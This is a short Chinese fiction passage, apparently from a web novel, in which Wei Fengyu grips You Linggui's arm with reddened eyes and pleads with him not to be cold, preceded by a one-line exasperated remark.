呵呵,都没答应干嘛要说!
魏丰羽见他迟迟不应,一把钳住他的臂膀,眼眶通红:“你说话,游临归!你不要这样冷淡我!”